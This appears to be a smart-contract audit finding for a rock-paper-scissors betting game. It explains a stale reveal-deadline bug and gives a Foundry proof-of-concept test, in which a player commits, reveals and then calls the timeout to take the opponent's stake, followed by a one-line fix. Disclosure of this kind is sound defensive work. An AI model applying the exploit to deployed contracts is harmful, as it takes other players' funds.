Summary
The game operates in turns, where each turn has a commit-reveal phase with a deadline (game.revealDeadline
). However, the contract fails to reset the deadline after a turn ends, allowing a malicious player to exploit the revealDeadline
from a previous turn. By strategically delaying their actions, an attacker can manipulate the game using the timeout in a subsequent turn and automatically win the game—even if they should have lost based on the actual game moves.
Vulnerability Details
After the both players have committed and revealled their respective moves for the first turn, the game.revealDeadline is set for that turn, but at the end of the turn, this (game.revealDeadline) is not reset to zero in the _determineWinner() function thereby allowing this check
require(block.timestamp <= game.revealDeadline, "Reveal phase timed out");
to pass on the next turn for the realMove() function. Now if the revealDealine is still less than block.timestamp, any malicious player can call commitMove() -> revealMove() and then immediately after the end of the timestamp for the previous turn, they can call -> timeoutReveal() function to win the game automatically, even if the were loosing the game initially.
POC:
Add this test to the test file
function testMaliciousGamePlayerWins() public {
gameId = createAndJoinGame();
playTurn(gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Paper);
bytes32 saltA = keccak256(abi.encodePacked("salt for player A", gameId, uint8(RockPaperScissors.Move.Paper)));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltA));
vm.startPrank(playerA);
game.commitMove(gameId, commitA);
game.revealMove(gameId, uint8(RockPaperScissors.Move.Paper), saltA);
uint256 playerABalanceBefore = playerA.balance;
vm.warp(block.timestamp + TIMEOUT + 1);
game.timeoutReveal(gameId);
vm.stopPrank();
(,,,,,,,,,,,,,,, RockPaperScissors.GameState state) = game.games(gameId);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Finished));
uint256 expectedPrize = (BET_AMOUNT * 2) * 90 / 100;
assertEq(playerA.balance - playerABalanceBefore, expectedPrize);
}
Impact
The manipulative player can always win the game everytime and unduely stealing their opponents funds.
Tools Used
foundry Tests
Recommendations
Reset the revealDealine to zero in the _determineWinner() function,
* @dev Internal function to determine winner for the current turn
* @param _gameId ID of the game
*/
function _determineWinner(uint256 _gameId) internal {
Game storage game = games[_gameId];
address turnWinner = address(0);
if (game.moveA == game.moveB) {
turnWinner = address(0);
} else if (
(game.moveA == Move.Rock && game.moveB == Move.Scissors)
|| (game.moveA == Move.Paper && game.moveB == Move.Rock)
|| (game.moveA == Move.Scissors && game.moveB == Move.Paper)
) {
game.scoreA++;
turnWinner = game.playerA;
} else {
game.scoreB++;
turnWinner = game.playerB;
}
emit TurnCompleted(_gameId, turnWinner, game.currentTurn);
if (game.currentTurn < game.totalTurns) {
game.currentTurn++;
game.commitA = bytes32(0);
game.commitB = bytes32(0);
game.moveA = Move.None;
game.moveB = Move.None;
game.state = GameState.Committed;
+ game.revealDeadline = 0;
} else {
address winner;
if (game.scoreA > game.scoreB) {
winner = game.playerA;
} else if (game.scoreB > game.scoreA) {
winner = game.playerB;
} else {
_handleTie(_gameId);
return;
}
_finishGame(_gameId, winner);
}
}